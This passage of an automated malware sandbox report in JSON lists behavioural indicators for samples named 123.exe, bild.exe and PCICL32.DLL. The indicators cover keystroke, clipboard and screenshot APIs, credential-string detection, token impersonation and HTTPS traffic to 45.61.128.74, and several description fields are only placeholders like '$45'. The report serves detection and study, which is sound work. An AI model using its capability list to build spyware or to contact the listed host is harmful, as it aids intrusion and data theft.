\"00000000-00006604.00000000.106018.73790000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"WinHttpCloseHandle\" (Indicator: \"WinHttpCloseHandle\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp\")\n Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp\")\n Found reference to API \"WinHttpGetIEProxyConfigForCurrentUser\" (Indicator: \"WinHttpGetIEProxyConfigForCurrentUser\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$45","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$46","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$47","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetUserEnum\" which can \"Retrieves information about all user accounts on a server.\" [Source: PCICL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking related APIs","description":"Observed import api \"WNetAddConnection\" which can \"makes a connection to a network resource\" [Source: PCICL32.DLL]\n Observed import api \"WNetCancelConnection\" which can \"cancels an existing network connection\" [Source: PCICL32.DLL]\n Observed import api \"WNetGetConnection\" which can \"retrieves the name of the network resource associated with a local device\" [Source: PCICL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"45.61.128.74\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"PCICL32.DLL\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; File: \"123.exe\")\n Found reference to API \"SwitchDesktop\" (Indicator: \"SwitchDesktop\"; File: \"123.exe\")\n Found reference to API \"*SwitchDesktop\" (Indicator: \"SwitchDesktop\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"SwitchDesktop\" (Indicator: \"SwitchDesktop\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQuerySessionInformationA\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"123.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"822151534\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"123.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"1392575744\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"123.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"687933680\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"123.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"reg.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"bild.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"bild.exe\" called \"GetComputerNameA\" (UID: 00000000-00006604)\n \"bild.exe\" called \"GetComputerNameW\" (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"bild.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"bild.exe\" called \"GetUserNameA\" (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$49","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardFormatNameA\" (Indicator: \"GetClipboardFormatName\"; File: \"123.exe\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"123.exe\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"123.exe\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"GetClipboardFormatNameA\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: PCICL32.DLL)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"123.exe\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate logon sessions (API string)","description":"Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-117","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"pGetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"123.exe\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; File: \"123.exe\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"123.exe\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000000.106018.73A55000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceA\" (Indicator: \"QueryDosDevice\"; File: \"123.exe\")\n Found reference to API \"QueryDosDeviceA\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"11799866386,7932,3024,,RtlGetVersion,NTDLL.dll,\"00:27:36.546\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006604.00000000.106018.033AD000.00000004.mdmp\")\n Found reference to API \"76679099252,7932,3024,,RtlGetVersion,NTDLL.dll,\"00:28:03.578\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006604.00000001.107938.033AD000.00000004.mdmp, 00000000-00006604.00000002.109859.033AD000.00000004.mdmp\")\n Found reference to API \"83407471374,7932,3024,,RtlGetVersion,NTDLL.dll,\"00:28:06.390\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006604.00000001.107938.07BF0000.00000004.mdmp\")\n Found reference to API \"156152669229,7932,3024,,RtlGetVersion,NTDLL.dll,\"00:28:36.703\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006604.00000002.109859.07BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; File: \"123.exe\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"123.exe\")\n Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; File: \"123.exe\")\n Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; File: \"123.exe\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"123.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"123.exe\")\n Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"123.exe\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"Wrong username or password\" (Indicator: \"password\"; Source: \"00000000-00006604.00000000.106018.111F6000.00000002.mdmp\")\n Found string \"Without supplying the correct password you can only send a message to this Client.\" (Indicator: \"password\"; Source: \"00000000-00006604.00000000.106018.111F6000.00000002.mdmp\")\n Found string \"To Share, Watch, Control, Chat, Show or transfer files enter the correct password.\" (Indicator: \"password\"; Source: \"00000000-00006604.00000000.106018.111F6000.00000002.mdmp\")\n Found string \"Wrong username or password!Wrong version of CLIENT installedvDoes not support the selected encryption mode, please upgrade this Client or select a lower encryption mode (i.e. DES)\" (Indicator: \"password\"; Source: \"00000000-00006604.00000000.106018.111F6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 123.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: bild.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: remcmdstub.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: PCICL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: TCCTL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: HTCTL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"123.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"bild.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"instance of Win32_SystemEnclosure\" (Indicator: \" Win32_SystemEnclosure\"; Source: \"00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp\")\n Found string \"instance of Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; Source: \"00000000-00006604.00000000.106018.03393000.00000004.mdmp, 00000000-00006604.00000001.107938.03393000.00000004.mdmp, 00000000-00006604.00000002.109859.03393000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"bild.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006604)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"123.exe\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcessAsUser\"; File: \"123.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete device information set (API string)","description":"Found reference to API \"SetupDiDestroyDeviceInfoList\" (Indicator: \"SetupDiDestroyDeviceInfoList\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1485","relevance":1,"id":"string-442","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; File: \"123.exe\")\n Found reference to API \"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; File: \"123.exe\")\n Found reference to API \"RegDeleteKeyTransactedA\" (Indicator: \"RegDeleteKeyTransacted\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyTransactedA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyExA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"123.exe\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; File: \"123.exe\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"123.exe\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: 